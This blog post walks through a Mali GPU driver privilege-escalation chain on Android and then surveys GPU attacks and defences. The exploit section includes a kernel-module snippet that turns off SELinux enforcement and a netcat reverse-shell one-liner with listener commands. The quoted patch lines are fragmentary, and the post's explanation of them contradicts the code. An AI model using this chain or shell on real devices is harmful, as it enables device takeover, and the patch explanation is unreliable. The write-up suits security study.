DEADC0DE

Rants on security in an unsecure world.™
/ METADATA
DATE:
2025.09.27
AUTHOR:
SEBASTIAN RIVERA
READING TIME:
35 MINUTES
CATEGORIES:
SECURITY, GPU, KERNEL, ANDROID
TITLE:
Pwned by Pixels: How I Broke Android with GPU Bugs

Pwned by Pixels: How I Broke Android with GPU Bugs

Understanding GPU Security: A Technical Primer

Before we dive into the specific vulnerabilities, it's important to understand why GPUs have become such a critical security concern. Unlike CPUs, which have been the focus of security research for decades, GPUs are relatively new to the security spotlight - and they present unique challenges that traditional security models weren't designed to handle.

The GPU Security Model: Built for Performance, Not Security

GPUs were originally designed for one thing: raw performance. They're essentially thousands of small processors working in parallel, optimized for tasks like rendering graphics or performing mathematical computations. Security was an afterthought - if it was considered at all.

This design philosophy has created a fundamental tension between performance and security. GPUs need to be fast, which means they can't afford the overhead of traditional security mechanisms like memory protection, privilege separation, or input validation. They're designed to trust the applications that use them, which works fine in a controlled environment but becomes a nightmare in a multi-tenant system.

Memory Management: The Achilles' Heel

One of the biggest security challenges with GPUs is their memory management system. Unlike CPUs, which have sophisticated memory protection mechanisms, GPUs use a much simpler model where all memory is essentially shared and accessible to any process that can access the GPU.

This creates several problems:

  • No Address Space Isolation: Different applications can potentially access each other's GPU memory, leading to data leakage or corruption.
  • No Memory Protection: There's no equivalent to CPU memory protection mechanisms like read-only memory or execute-only memory.
  • Complex Memory Hierarchies: GPUs have multiple levels of memory (global, shared, local, registers) with different access patterns and security implications.
  • Driver-Level Access: GPU drivers run in kernel space with full system privileges, creating a massive attack surface.

The Android GPU Security Model

Android's approach to GPU security is particularly interesting because it tries to balance the need for GPU access with the security requirements of a mobile operating system. The system uses several layers of protection:

  • Process Isolation: Each Android app runs in its own process with limited privileges.
  • SELinux Policies: Mandatory access control policies that restrict what processes can do.
  • GPU Driver Sandboxing: The GPU driver is supposed to enforce access controls and prevent unauthorized memory access.
  • Hardware-Level Protection: The GPU hardware itself is supposed to enforce memory boundaries and access controls.

But as we'll see, these protections can be bypassed when the underlying hardware or drivers have vulnerabilities.

The Vulnerabilities That Started It All

So picture this: you're scrolling through some sketchy app store, download what looks like a harmless game, and boom - next thing you know, some random app has full root access to your phone. That's exactly what happened when I started digging into CVE-2022-22706 and CVE-2021-39793, two gnarly vulnerabilities in Mali GPUs that let you go from zero to hero (or villain, depending on your perspective) in a few clever steps.

These bugs are particularly nasty because they affect Mali GPUs, which are basically everywhere in Android devices. We're talking about a vulnerability that lets unprivileged apps write to read-only memory - which is like being able to edit a PDF that's supposed to be locked. Once you can do that, the whole security model starts to crumble.

The Bug That Started It All

At the heart of this mess is a function called kbase_jd_user_buf_pin_pages() in the Mali GPU kernel driver. This thing is responsible for managing how the GPU accesses memory - basically the bouncer at the memory club, deciding who gets in and what they can do once they're inside.

The problem? The bouncer was checking IDs but not actually looking at the whole picture. The function was supposed to check both KBASE_REG_GPU_WR and KBASE_REG_CPU_WR flags before granting write access, but it was only checking the GPU flag. This is like checking if someone has a VIP wristband but not verifying if they're actually on the guest list.

Here's the juicy part from the patch that fixed it:

// Before (broken)
if (reg->flags & KBASE_REG_GPU_WR ? FOLL_WRITE : 0, pages, NULL);

// After (fixed)  
write = reg->flags & (KBASE_REG_CPU_WR | KBASE_REG_GPU_WR);
write ? FOLL_WRITE : 0, pages, NULL);

That tiny change makes all the difference. Now both flags need to be set, which means apps can't just request CPU write access without the proper GPU permissions. But before this fix? Game over.

Turning a Bug Into a Weapon

So how do you actually exploit this? It's like a multi-step heist, but instead of stealing money, you're stealing root privileges. Here's the playbook:

Step 1: Allocate a memory page with read-write permissions. This is your staging area.

Step 2: Import the mapping with just the KBASE_REG_CPU_WR flag (no GPU flag needed). Thanks to the bug, this somehow grants GPU write access too. It's like asking for a coffee and getting a free donut.

Step 3: Map the buffer into the GPU's virtual address space. Now the GPU thinks it can write to this memory.

Step 4: Unmap the original read-write mapping and remap the same address with a read-only page. Now you've got a situation where the CPU sees the page as read-only, but the GPU still thinks it can write to it.

Step 5: Submit a GPU job that triggers the vulnerable function. This is where the magic happens - you can now write to memory that should be read-only from the CPU's perspective.

At this point, you've got a pretty powerful primitive: the ability to write to read-only memory pages. This is like having a master key that works on doors that are supposed to be welded shut.

The SELinux Bypass Dance

Now comes the fun part - using this primitive to bypass Android's security model. The key insight is that you can modify shared libraries that other processes use. Since most processes load the same system libraries, if you can inject malicious code into one of them, you can hijack any process that uses that library.

But there's a catch: you need to find a process that has the right permissions to trigger your hijack. This is where things get creative.

I targeted the vold process (Volume Daemon) because it runs as root and has the permissions we need. The plan was to hook into one of its imported functions and use it to trigger the next stage of the exploit.

Here's the clever part: vold runs on a 30-second timer, so I had to be patient. But once it executed, my hook would fire and call /system/bin/setprop to wake up the init process. This is like setting up a domino chain where each piece knocks over the next one.

Kernel Module Shenanigans

The ultimate goal was to load a malicious kernel module that could disable SELinux entirely. But there's a problem: only certain processes can load kernel modules, and they're restricted to specific file types.

This is where the multi-stage approach really shines. I needed to hijack a process that could both interact with the Mali driver (for writing) and access the right file types. Enter hal_neuralnetworks_armnn - a one-shot binary that runs with the permissions I needed.

By hooking into __android_log_print in this process, I could inject code that would overwrite a vendor kernel module with my malicious payload. I chose pktgen.ko because it's relatively unimportant and was currently unloaded.

The malicious kernel module was pretty simple but effective:

// Disable SELinux enforcing mode
WRITE_ONCE(selinux_state->enforcing, false);

// Flush the Access Vector Cache
avc_ss_reset(selinux_state->avc, 0);

Once this module is loaded, SELinux goes from "enforcing" to "permissive" mode, which basically means all the security restrictions are lifted. It's like turning off the alarm system in a bank.

The Final Payload

With SELinux disabled, the final step was to establish a root reverse shell. This is where things get really satisfying - you go from being a regular app to having full root access on the device.

I used a simple shell script that creates a named pipe and uses netcat to establish the reverse connection:

#!/bin/sh
rm /dev/_f;mkfifo /dev/_f;cat /dev/_f|sh -i 2>&1|nc localhost 4444 >/dev/_f

On the attacking machine, I set up a listener:

# Forward port 4444 to the device
adb reverse tcp:4444 tcp:4444

# Start listening
ncat.exe -nlvp 4444

And just like that, you've got a root shell:

:/ # id
uid=0(root) gid=0(root) groups=0(root),3009(readproc) context=u:r:toolbox:s0
:/ # getenforce
Permissive

The Broader GPU Security Landscape

While the Mali vulnerabilities we just explored are particularly nasty, they're just the tip of the iceberg when it comes to GPU security issues. The reality is that GPUs have become a massive attack surface, and the security community is only now starting to understand the full scope of the problem.

GPUHammer: When Memory Attacks Go Parallel

In 2025, researchers from the University of Toronto unveiled "GPUHammer," a Rowhammer-style attack that targets NVIDIA GPUs with GDDR6 memory. This is particularly scary because it doesn't require any software vulnerabilities - it's a pure hardware attack that exploits the physical properties of memory cells.

Here's how it works: by repeatedly accessing specific memory rows at high frequency, attackers can induce bit flips in adjacent rows. The parallel processing nature of GPUs makes this attack incredibly effective - you can hammer thousands of memory locations simultaneously. In their demonstration, a single bit flip caused an AI model's accuracy to plummet from 80% to 0.1% on an RTX A6000 GPU.

What makes this especially concerning is that it works in shared environments like AI clusters and cloud servers. An attacker doesn't need direct access to your data - they just need to run code on the same GPU, and they can corrupt your AI models or steal your secrets through memory corruption.

Whispering Pixels: Data Leakage Through Uninitialized Registers

In 2024, researchers discovered that many modern GPUs lack proper initialization routines for registers before shader execution. This means that when a new shader starts running, it might be able to read data left behind by previously executed shaders. They called this "Whispering Pixels" because it's like the GPU is whispering secrets from one shader to another.

This vulnerability affects products from major vendors including Apple, NVIDIA, and Qualcomm. Attackers can exploit this to reconstruct sensitive data processed by fragment shaders - things like passwords, encryption keys, or personal information that was supposed to be securely processed.

Lightning Attack: Exploiting Hardware Faults in the Cloud

The "Lightning Attack" from 2021 demonstrates how attackers can exploit transient hardware faults in GPU clouds by manipulating Dynamic Voltage and Frequency Scaling (DVFS). By inducing computation errors, they can significantly reduce the inference accuracy of deep neural networks - up to 78.3% accuracy reduction in some cases.

This is particularly scary because it's a hardware-level attack that can't be patched with software updates. It exploits the physical properties of the GPU itself, making it incredibly difficult to defend against.

Why GPU Security Matters More Than Ever

These vulnerabilities are particularly scary because GPUs are everywhere now. They're not just in gaming PCs anymore - they're in phones, tablets, cars, servers, and even IoT devices. The Mali vulnerabilities we explored affect a huge number of Android devices, but the broader GPU security landscape affects virtually every computing device on the planet.

The attack chains are also getting more sophisticated. It's not just simple buffer overflows anymore - we're seeing complex multi-stage attacks that combine hardware exploits, driver vulnerabilities, and operating system weaknesses to achieve their goals.

But here's the thing: once you understand the primitives, the rest becomes a puzzle. Each step builds on the previous one, and you're essentially playing a game of "how can I get from point A to point B using only the tools I have available."

Advanced Attack Vectors and Exploitation Techniques

As GPU security research has evolved, attackers have developed increasingly sophisticated techniques that go far beyond simple buffer overflows. Let's dive into some of the most interesting attack vectors that researchers have discovered.

Covert Channels in Multi-GPU Systems

In multi-GPU systems like NVIDIA's DGX machines, researchers have discovered that attackers can establish covert channels between GPUs by exploiting shared resources. By causing contention on the L2 cache of another GPU, an attacker can achieve bandwidths up to 3.95 MB/s - enough to exfiltrate sensitive data or communicate with other malicious processes.

This is particularly concerning in cloud environments where multiple tenants might share GPU resources. An attacker could potentially steal data from other users' AI models or establish communication channels between compromised instances.

PCIe Traffic Interception: The Hermes Attack

The "Hermes Attack" demonstrates how attackers can intercept unencrypted PCIe traffic between CPUs and GPUs to steal entire Deep Neural Network models. By reverse-engineering CUDA runtime and GPU internals, attackers can reconstruct DNN models with the same hyper-parameters and architecture as the original - essentially stealing the entire model with lossless inference accuracy.

This attack is particularly scary because it doesn't require any software vulnerabilities. It's purely a side-channel attack that exploits the fact that most GPU-CPU communication isn't encrypted. The attacker just needs to be able to monitor PCIe traffic, which is possible in many shared environments.

GPU-Assisted Malware and Evasion Techniques

Researchers have discovered that malware can offload malicious computations to GPUs to evade detection by traditional forensic tools. Since most forensic tools focus on host memory, GPU-assisted malware can hide in plain sight by performing its malicious activities on the GPU.

This includes everything from cryptocurrency mining to data exfiltration. The parallel processing nature of GPUs makes them incredibly effective for these tasks, and the high resource utilization makes it difficult to distinguish between legitimate and malicious GPU usage.

Buffer Overflow Exploits in GPU Programs

Modern GPU programs suffer from complex buffer overflow vulnerabilities due to their unique memory systems. Unlike CPUs, GPUs lack essential memory protection mechanisms like address space layout randomization (ASLR) and stack canaries, making them particularly vulnerable to code injection and return-oriented programming (ROP) attacks.

These vulnerabilities are especially dangerous because they can lead to arbitrary code execution on the GPU itself, potentially compromising the entire system through the GPU's privileged access to system resources.

Industry Response and Vendor Security Practices

The GPU industry has been forced to take security more seriously as these vulnerabilities have come to light. Let's look at how different vendors have responded and what this means for the future of GPU security.

NVIDIA's Security Stance

NVIDIA has been particularly vocal about security, with their Chief Security Officer explicitly stating that the company does not build in kill switches, spyware, or backdoors in its GPUs. This is important because it addresses one of the biggest concerns about GPU security - the potential for hardware-level backdoors that could be exploited by nation-states or other actors.

However, NVIDIA has also had to deal with its fair share of vulnerabilities. In 2025 alone, they've addressed multiple critical vulnerabilities in their GPU drivers and vGPU software, including buffer overflows that could lead to code execution and data theft.

ARM's Approach to Mali Security

ARM, the company behind Mali GPUs, has taken a more measured approach to security. They've focused on improving their driver security model and implementing better memory protection mechanisms. The vulnerabilities we explored earlier (CVE-2022-22706 and CVE-2021-39793) were patched relatively quickly once they were discovered.

However, the fact that these vulnerabilities existed in the first place highlights the challenges of securing complex GPU drivers that need to balance performance with security.

Open Source vs. Proprietary Drivers

One interesting aspect of GPU security is the difference between open source and proprietary drivers. Open source drivers like those for Intel GPUs are generally more transparent and can be audited by the security community, but they often lag behind in terms of performance and feature completeness.

Proprietary drivers like NVIDIA's and AMD's are typically more performant and feature-rich, but their closed-source nature makes them harder to audit for security vulnerabilities. This creates a fundamental tension between security and functionality that the industry is still grappling with.

Defending Against GPU Attacks

The good news is that these specific vulnerabilities have been patched. The bad news is that there are probably more like them out there. The key takeaway is that hardware-level vulnerabilities can be incredibly powerful because they often bypass higher-level security mechanisms.

For End Users

The best defense is keeping your devices updated. These patches don't do any good if they're not installed. This includes not just operating system updates, but also GPU driver updates, which are often overlooked by users.

In enterprise environments, it's also important to implement proper isolation between GPU workloads. This means using virtualization technologies that can properly isolate GPU access between different tenants or applications.

For Developers

It's a reminder that security is only as strong as the weakest link - and sometimes that weakest link is in the hardware drivers. When developing GPU-accelerated applications, it's important to consider the security implications of GPU access and implement proper input validation and memory management.

It's also worth considering whether your application really needs the level of GPU access it's requesting. Many applications request more GPU permissions than they actually need, which increases the attack surface unnecessarily.

For Security Researchers

It's a reminder that sometimes the most interesting bugs are hiding in places you wouldn't expect. Who would have thought that a GPU driver could be the key to bypassing an entire operating system's security model?

But hey, that's what makes this field so much fun. You never know where the next interesting bug is hiding, and sometimes the most powerful exploits come from the most unexpected places. Just remember to use your powers for good (or at least for responsible disclosure).

GPU Forensics and Detection Techniques

One of the biggest challenges in GPU security is detection. Traditional security tools are designed for CPU-based threats, but GPU attacks often fly under the radar because they operate in a completely different execution environment.

The Forensics Challenge

GPU memory forensics is still in its infancy compared to traditional memory forensics. Most forensic tools focus on host memory, but GPU memory can contain valuable evidence of malicious activity. Researchers have discovered that artifacts of last visited web pages and opened images can be recovered from GPU memory using unique pixel patterns.

This creates a significant challenge for investigators: how do you analyze evidence that's stored in a completely different memory space with different access patterns and security models?

Detecting GPU-Based Attacks

Detecting GPU-based attacks requires a fundamentally different approach than traditional malware detection. Here are some techniques that researchers have developed:

  • GPU Memory Monitoring: Continuously monitor GPU memory for suspicious patterns or unauthorized access attempts.
  • Driver-Level Logging: Implement comprehensive logging in GPU drivers to track all GPU operations and memory access patterns.
  • Performance Anomaly Detection: Monitor GPU performance metrics for unusual patterns that might indicate malicious activity.
  • Memory Integrity Checking: Regularly verify the integrity of GPU memory to detect unauthorized modifications.

Recovery and Analysis Techniques

When GPU-based attacks are detected, the next challenge is recovery and analysis. This involves:

  • GPU Memory Dumping: Creating complete dumps of GPU memory for offline analysis.
  • Driver State Analysis: Examining the state of GPU drivers to understand how the attack was executed.
  • Timeline Reconstruction: Building a timeline of GPU operations to understand the attack sequence.
  • Artifact Recovery: Extracting evidence from GPU memory, including images, data, and code fragments.

Mitigation Strategies and Best Practices

Given the complexity of GPU security, what can organizations do to protect themselves? The answer involves a multi-layered approach that addresses both technical and operational challenges.

Hardware-Level Mitigations

At the hardware level, several mitigation strategies can help reduce the risk of GPU-based attacks:

  • Error Correction Code (ECC) Memory: Enable ECC memory to detect and correct memory errors, including those caused by Rowhammer attacks.
  • Memory Initialization: Ensure that GPU memory is properly initialized and zeroed out after deallocation to prevent data leakage.
  • Hardware-Based Memory Protection: Implement hardware-level memory protection mechanisms that can't be bypassed by software vulnerabilities.
  • Secure Boot and Attestation: Use secure boot mechanisms to ensure that only trusted GPU drivers and firmware are loaded.

Software-Level Mitigations

Software-level mitigations focus on improving the security of GPU drivers and applications:

  • Input Validation: Implement comprehensive input validation in GPU drivers to prevent buffer overflows and other memory corruption attacks.
  • Memory Protection: Implement address space layout randomization (ASLR) and stack canaries for GPU programs.
  • Privilege Separation: Run GPU drivers with minimal privileges and implement proper sandboxing mechanisms.
  • Regular Updates: Keep GPU drivers and firmware updated with the latest security patches.

Operational Mitigations

Operational mitigations focus on how organizations manage and monitor their GPU infrastructure:

  • Access Control: Implement strict access controls for GPU resources, including proper authentication and authorization.
  • Monitoring and Logging: Deploy comprehensive monitoring and logging systems to detect suspicious GPU activity.
  • Network Segmentation: Isolate GPU resources in separate network segments to limit the blast radius of potential attacks.
  • Incident Response: Develop incident response procedures specifically for GPU-based attacks.

The Future of GPU Security

As GPUs continue to evolve and become more powerful, the security challenges will only become more complex. We're already seeing GPUs being used for AI training, cryptocurrency mining, and other high-value applications that make them attractive targets for attackers.

Emerging Threats

Looking ahead, several emerging trends are likely to shape the future of GPU security:

  • AI-Specific Attacks: As AI models become more valuable, we'll see more attacks specifically targeting AI training and inference systems.
  • Quantum Computing Integration: The integration of quantum computing with traditional GPU systems will create new attack vectors and security challenges.
  • Edge Computing: The proliferation of GPU-powered edge devices will create new attack surfaces and security challenges.
  • Supply Chain Attacks: As GPU supply chains become more complex, we'll see more attacks targeting the manufacturing and distribution process.

Industry Response

The industry is starting to take GPU security more seriously, but there's still a long way to go. We need better tools for detecting GPU-based attacks, more transparent driver development processes, and better collaboration between hardware vendors and the security community.

Some promising developments include:

  • Open Source Drivers: More vendors are releasing open source drivers, which allows for better security auditing.
  • Security Standards: The development of security standards specifically for GPU systems.
  • Research Collaboration: Increased collaboration between academic researchers and industry vendors.
  • Bug Bounty Programs: More vendors are implementing bug bounty programs specifically for GPU security vulnerabilities.

But for now, the most important thing is to stay informed and keep your systems updated. The GPU security landscape is constantly evolving, and the best defense is a good offense - understanding how these attacks work so you can defend against them.

Conclusion: The GPU Security Imperative

This case study has taken us on a journey through the complex and often overlooked world of GPU security. From the specific Mali vulnerabilities that started this investigation to the broader landscape of GPU-based attacks, one thing is clear: GPU security is no longer a niche concern - it's a critical component of modern cybersecurity.

Key Takeaways

Here are the most important lessons from our exploration:

  • GPUs are a massive attack surface: With GPUs now present in virtually every computing device, they represent a significant attack surface that traditional security models weren't designed to handle.
  • Hardware vulnerabilities are particularly dangerous: Unlike software vulnerabilities that can be patched, hardware-level attacks like GPUHammer and Lightning Attack exploit the physical properties of the hardware itself.
  • Attack chains are getting more sophisticated: Modern GPU attacks combine multiple techniques and vulnerabilities to achieve their goals, making them harder to detect and defend against.
  • Detection is a major challenge: Traditional security tools are designed for CPU-based threats, leaving GPU attacks largely undetected.
  • Industry response is improving but incomplete: While vendors are taking GPU security more seriously, there's still a long way to go in terms of tools, standards, and collaboration.

The Road Ahead

As we look to the future, several trends will shape the evolution of GPU security:

  • Increased AI integration: As AI becomes more prevalent, GPU security will become even more critical, especially in cloud and edge computing environments.
  • Better detection tools: The development of specialized tools for detecting and analyzing GPU-based attacks will be crucial for effective defense.
  • Industry collaboration: Greater collaboration between hardware vendors, software developers, and security researchers will be essential for addressing these challenges.
  • Security by design: Future GPU architectures will need to incorporate security considerations from the ground up, rather than as an afterthought.

Final Thoughts

The vulnerabilities we've explored in this case study - from the Mali driver bugs to the broader landscape of GPU security issues - represent just the beginning of what promises to be a long and complex journey. As GPUs continue to evolve and become more powerful, the security challenges will only become more complex.

But this complexity also presents an opportunity. By understanding these vulnerabilities and the techniques used to exploit them, we can develop better defenses and more secure systems. The key is to stay informed, keep learning, and never stop questioning the security assumptions that underpin our digital infrastructure.

After all, in the world of cybersecurity, the only constant is change. And in the case of GPU security, that change is happening faster than ever before. The question isn't whether there will be more GPU vulnerabilities - it's whether we'll be ready to defend against them when they emerge.

So keep your systems updated, stay curious, and remember: sometimes the most powerful exploits come from the most unexpected places. Just make sure you're using your powers for good.